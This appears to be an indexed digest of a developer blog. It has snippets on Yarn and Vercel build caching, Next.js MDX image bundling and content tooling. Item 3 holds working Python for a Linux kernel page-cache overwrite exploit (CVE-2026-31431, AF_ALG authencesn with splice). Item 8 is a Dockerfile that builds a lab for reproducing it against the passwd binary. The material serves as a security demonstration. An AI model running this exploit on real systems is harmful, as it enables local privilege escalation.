Adriel Martinez's Blog

website·Indexed 31 days ago

https://adriel.dev/

Personal website and blog of Adriel Martinez, a software engineer based in the SF Bay Area. The site features technical posts on Next.js, Vercel, and MDX, as well as security demonstrations such as the CVE-2026-31431 exploit and open-source projects like the BMCU for the A1 Mini.

Tokens
6.7K
Snippets
15
Records
27
Agent score
57%

What's inside Adriel Martinez

  1. Speed up Yarn Berry builds on Vercel by caching the linking step

    To reduce build times in Yarn Berry on Vercel, you can cache the .yarn/install-state.gz file. This file stores the project state and allows subsequent builds to skip resolving workspaces and the linking step. Since Vercel caches node_modules and .next/cache, but not .yarn, you can move the install-state.gz file into a cached directory before and after the yarn install command.
    #!/bin/bash
     
    echo "Starting the script..."
     
    # 1. Copy cached state from node_modules to .yarn before install
    if [ -f "node_modules/install-state.gz" ]; then
        echo "Copying node_modules/install-state.gz to .yarn/install-state.gz..."
        cp node_modules/install-state.gz .yarn/install-state.gz
    else
        echo "node_modules/install-state.gz does not exist. Skipping copy."
    fi
     
    # 2. Set Yarn cache folder to a Vercel-cached directory
    echo "Setting environment variable YARN_CACHE_FOLDER=./.next/cache/yarn..."
    export YARN_CACHE_FOLDER=./.next/cache/yarn
     
    # 3. Run immutable install
    echo "Running 'yarn install --immutable'..."
    yarn install --immutable
     
    # 4. Copy updated state back to node_modules to be cached for the next build
    if [ -f ".yarn/install-state.gz" ]; then
        echo "Copying .yarn/install-state.gz back to node_modules/install-state.gz..."
        cp .yarn/install-state.gz node_modules/install-state.gz
    else
        echo ".yarn/install-state.gz does not exist. Skipping copy."
    fi
     
    echo "Script completed."
  2. Configure a custom Yarn cache folder on Vercel

    Because Vercel does not cache the .yarn folder by default, you can move the Yarn cache to .next/cache/yarn by setting the YARN_CACHE_FOLDER environment variable during the install step. This ensures dependencies are not refetched on every build.
    export YARN_CACHE_FOLDER=./.next/cache/yarn
    yarn install --immutable
  3. Exploit CVE-2026-31431 to overwrite page cache

    CVE-2026-31431 is a vulnerability in the authencesn AEAD implementation where seqno_lo (bytes 4–7 of the Additional Authenticated Data or AAD) is copied back into the scatter list during decryption via scatterwalk_map_and_copy. When ciphertext is supplied via splice, the scatter pages are borrowed from the file's page cache, allowing an attacker to overwrite arbitrary offsets in any readable file's page cache with the contents of seqno_lo.
    import os
    import socket
    
    # AF_ALG constants
    AF_ALG = 38
    SOL_ALG = 279
    ALG_SET_KEY = 1
    ALG_SET_AUTHSIZE = 5
    ALG_SET_OP = 3
    ALG_SET_IV = 2
    ALG_SET_AEAD_ASSOCLEN = 4
    ALG_OP_DECRYPT = 0
    MSG_MORE = 0x8000
    
    # authencesn(hmac(sha256), cbc(aes)) key layout
    AEAD_KEY = bytes.fromhex('0800010000000010') + b'\x00' * 32
    AUTH_TAG_LEN = 4
    IV_LEN = 16
    ASSOC_LEN = 8 # seqno_hi (4 bytes) + seqno_lo (4 bytes)
    
    def write_4bytes(fd, target_offset, chunk):
        """
        Write 4 bytes into the page cache of fd at target_offset.
        """
        alg_sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
        alg_sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
        alg_sock.setsockopt(SOL_ALG, ALG_SET_KEY, AEAD_KEY)
        alg_sock.setsockopt(SOL_ALG, ALG_SET_AUTHSIZE, None, AUTH_TAG_LEN)
        op_sock, _ = alg_sock.accept()
    
        splice_len = target_offset + 4
    
        # AAD = seqno_hi (ignored) || seqno_lo (chunk)
        aad = b'\x00' * 4 + chunk
        ancdata = [
            (SOL_ALG, ALG_SET_OP,             ALG_OP_DECRYPT.to_bytes(4, 'little')),
            (SOL_ALG, ALG_SET_IV,             IV_LEN.to_bytes(4, 'little') + b'\x00' * IV_LEN),
            (SOL_ALG, ALG_SET_AEAD_ASSOCLEN,  ASSOC_LEN.to_bytes(4, 'little')),
        ]
        op_sock.sendmsg([aad], ancdata, MSG_MORE)
    
        pipe_r, pipe_w = os.pipe()
        os.splice(fd, pipe_w, splice_len, offset_src=0)
        os.splice(pipe_r, op_sock.fileno(), splice_len)
    
        try:
            # Trigger decrypt and the seqno_lo write into page cache
            op_sock.recv(ASSOC_LEN + target_offset)
        except OSError:
            pass
    
        os.close(pipe_r)
        os.close(pipe_w)
        op_sock.close()
        alg_sock.close()
  4. Render code blocks with rehype-pretty-code

    For rendering code blocks in MDX/Markdown, rehype-pretty-code is a viable alternative to rehype-prism-plus. It is noted for having easier styling due to a wide variety of built-in themes.
  5. Use Bun to speed up Next.js builds

    Switching from Yarn to Bun can provide a 'free' speed-up for Next.js builds. Bun simplifies package installation and reduces the time required for the build process, which is particularly beneficial in CI/CD environments like Vercel where cache management can be complex.
  6. Improve image caching in Next.js MDX blogs by bundling assets

    Images served from the public folder in Next.js have a default cache header of cache-control: public, max-age=0, must-revalidate, which prevents long-term browser caching. To achieve long-term caching (cache-control: public, max-age=31536000, immutable), images must be bundled into the Next.js build using static imports. This ensures images are served from /_next/static/media/ with a unique content hash in the filename, preventing stale cache issues when images are updated.
  7. Implement Algolia DocSearch for technical site search

    Algolia DocSearch is a free service for technical blogs and documentation that provides superior capabilities over simple command-menu packages like K-Bar, including fuzzy matching and indexing of post content. Implementation requires an approval process and the manual configuration of a React component to handle the search interface.
  8. Build a reproduction environment for CVE-2026-31431

    To reproduce the CVE-2026-31431 exploit, a specific environment is required using Alpine 3.20.5 x86 to ensure the passwd binary layout remains consistent. The reproduction involves creating a minimal rootfs, installing Python 3 and the shadow package, and preparing an initrd image. The environment is designed to run the copy_fail.py exploit script.
    FROM debian:bookworm-slim@sha256:3783cc01769c7b2b1b83a5c5ad96c815348e28ed7da68e2e3687004faa906251 AS builder
     
    RUN apt-get update && apt-get install -y \
        cpio \
        curl \
        gzip \
        qemu-user-static \
        && rm -rf /var/lib/apt/lists/*
     
    # Alpine 3.20.5 x86 — pinned so the passwd binary layout stays consistent with the exploit
    ARG ALPINE_MIRROR="https://dl-cdn.alpinelinux.org/alpine"
    ARG MINIROOTFS="alpine-minirootfs-3.20.5-x86.tar.gz"
    ARG MINIROOTFS_SHA256="a250d78b6facfd25edfb8faee7b340d29e62651364eb16651158f569672d9430"
    WORKDIR /build
     
    RUN mkdir -p rootfs \
        && curl -sLo minirootfs.tar.gz "${ALPINE_MIRROR}/v3.20/releases/x86/${MINIROOTFS}" \
        && echo "${MINIROOTFS_SHA256}  minirootfs.tar.gz" | sha256sum -c - \
        && tar xzf minirootfs.tar.gz -C rootfs
     
    RUN cp /etc/resolv.conf rootfs/etc/resolv.conf \
        && chroot rootfs /sbin/apk add --no-cache python3 shadow \
        && rm rootfs/etc/resolv.conf \
        && chroot rootfs /usr/sbin/adduser -D -h /home/demo demo \
        && echo "demo:demo" | chroot rootfs /usr/sbin/chpasswd
     
    COPY copy_fail.py /build/copy_fail.py
    RUN cp /build/copy_fail.py rootfs/home/demo/copy_fail.py \
        && chmod +x rootfs/home/demo/copy_fail.py \
        && chroot rootfs /bin/chown demo:demo /home/demo/copy_fail.py
     
    RUN printf '#!/bin/sh\nmount -t proc proc /proc\nmount -t sysfs sys /sys\nmount -t devtmpfs devtmpfs /dev\nhostname copyfail\nexec /sbin/getty -L ttyS0 115200 vt100\n' > rootfs/init \
        && chmod +x rootfs/init
     
    # Strip unnecessary Python modules to reduce size
    RUN find rootfs/usr/lib/python3.*/lib-dynload -name '*.so' \( \
        -name 'unicodedata.*' -o \
        -name '_testcapi.*'   -o \
        -name '_testclinic.*' -o \
        -name '_testbuffer.*' -o \
        -name '_codecs_jp.*'  -o \
        -name '_codecs_hk.*'  -o \
        -name '_codecs_cn.*'  -o \
        -name '_codecs_kr.*'  -o \
        -name '_codecs_tw.*'  -o \
        -name '_multibytecodec.*' -o \
        -name '_decimal.*'    -o \
        -name '_ssl.*'        -o \
        -name '_ctypes.*'     -o \
        -name '_pickle.*'     -o \
        -name '_sqlite3.*'    -o \
        -name '_curses.*'     -o \
        -name '_elementtree.*' -o \
        -name 'pyexpat.*'     -o \
        -name '_asyncio.*'    -o \
        -name '_hashlib.*'    -o \
        -name '_sha2.*'       -o \
        -name '_blake2.*'     -o \
        -name '_lzma.*'       \
        \) -delete
     
    RUN ( cd rootfs && find . | cpio -o -H newc | gzip -9 ) > /build/initrd.img
     
    FROM scratch
    COPY --from=builder /build/initrd.img /initrd.img
  9. Migrate from Contentlayer to Velite for content collections

    Velite is an alternative to Contentlayer for creating collections from content (such as MDX and YAML files) and performing transformations (e.g., transforming MDX into HTML). Key advantages of Velite include less verbose schema definitions, the ability to hook into the build process before outputting files, and improved frontmatter validation.
  10. Bundle MDX images using Webpack require.context for immutable caching

    To achieve immutable caching (cache-control: public,max-age=31536000,immutable) for images in a Next.js MDX blog, you can use Webpack's require.context to dynamically import images from a specific folder. This converts them into bundled assets with hashed filenames rather than serving them as raw static files from the /public directory.

    Caveat: Because require.context imports all files matching the regex in the specified folder, images that are not actually used in any post will still be included in the final bundle and cannot be tree-shaken.

    import RequireContext = __WebpackModuleApi.RequireContext
    
    const importFromFolder = (context: RequireContext) => {
      const images: Record<string, { default: { src: string } }> = {}
     
      for (const key of context.keys()) {
        // Filter for specific image directory
        if (!key.startsWith('public/static/images')) continue
     
        // Normalize key to match MDX paths (e.g., /static/images/...)
        const newKey = key.replace('public/static/images', '/static/images')
        images[newKey] = context(key)
      }
     
      return images
    }
     
    const getImages = () => {
      // Context: folder path, recursive, regex for image extensions
      const context = require.context('../public/static/images', true, /\.(png|jpe?g|svg|webp)$/)
      const keyToModule = importFromFolder(context)
      const keyToPath: Record<string, string> = {}
     
      for (const [key, value] of Object.entries(keyToModule)) {
        // Extract the bundled src path from the module
        keyToPath[key] = value.default.src
      }
     
      return keyToPath
    }
     
    export default getImages()
  11. Override the Vercel Install Command with a custom script

    To implement custom caching logic (like setting YARN_CACHE_FOLDER), override the default Vercel install command:

    1. Create a shell script (e.g., scripts/vercel-build.sh) and make it executable with chmod +x.
    2. In the Vercel Dashboard, go to Settings > General.
    3. Under Build & Development Settings > Project Settings, toggle the override for the Install Command.
    4. Set the command to the path of your script (e.g., ./scripts/vercel-build.sh).
    #!/bin/bash
    
    echo "Starting the script..."
    
    # Set the cache folder to a Vercel-cached directory
    export YARN_CACHE_FOLDER=./.next/cache/yarn
    
    echo "Running 'yarn install --immutable'..."
    yarn install --immutable
    
    echo "Script completed."